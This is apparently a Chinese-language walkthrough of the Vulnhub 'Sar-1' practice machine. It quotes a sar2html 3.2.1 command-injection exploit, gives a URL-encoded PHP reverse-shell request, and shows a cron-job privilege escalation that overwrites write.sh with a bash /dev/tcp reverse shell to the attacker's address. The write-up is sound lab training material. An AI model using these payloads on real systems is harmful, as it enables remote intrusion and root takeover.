Vulnhub:Sar-1
2022-07-21 02:36:36

信息收集

锁靶机IP
在这里插入图片描述
只开放了80端口
在这里插入图片描述

目录扫描
在这里插入图片描述

robots.txt下记录的网址
在这里插入图片描述
根据暴露出的信息试着找下有没有exp

在这里插入图片描述
因为是php站点,这里就使用第二个进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
└─# batcat 47204.txt  
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: 47204.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ # Exploit Title: sar2html Remote Code Execution
2 │ # Date: 01/08/2019
3 │ # Exploit Author: Furkan KAYAPINAR
4 │ # Vendor Homepage:https://github.com/cemtan/sar2html
5 │ # Software Link: https://sourceforge.net/projects/sar2html/
6 │ # Version: 3.2.1
7 │ # Tested on: Centos 7
8 │
9 │ In web application you will see index.php?plot url extension.
10 │
11 │ http://<ipaddr>/index.php?plot=;<command-here> will execute
12 │ the command you entered. After command injection press "select # host" then your command's
13 │ output will appear bottom side of the scroll screen.

访问网站的index.php然后传参即可rce
在这里插入图片描述

反弹shell
这里选择php反弹shell

1
http://192.168.30.136/sar2HTML/index.php?plot=;php%20-r%20%27%24sock%3Dfsockopen%28%22192.168.30.128%22%2C4444%29%3Bexec%28%22bash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27

url编码一下
因为是ubuntu的靶机,所有python反弹应该也是可以的

然后用脚本枚举提权
给一下权限

1
chmod 777 linpeas.sh

在这里插入图片描述
其中发现一段sudo权限
在这里插入图片描述

1
2
3
4
5
cat finally.sh
#!/bin/sh

./write.sh

在这里插入图片描述
使用计划任务提权
发现finally在以sudo的权限运行write的脚本
那这里我们如果重写write的内容,就可以尝试反弹一个root的shell

write.sh

1
2
3
#!/bin/bash

bash -i >& /dev/tcp/192.168.30.128/5678 0>&1

该脚本位每5分钟就执行一次
在这里插入图片描述
所以上传完重写的write后开个端口监听等着就完事了

拿到root后就cat root.txt即可
这里我一直等不到shell出来,就没有截图了

靶机整体简单,就是 www-data->root这里需要理解一下,执行的脚本是绕过了love用户直接拿到root。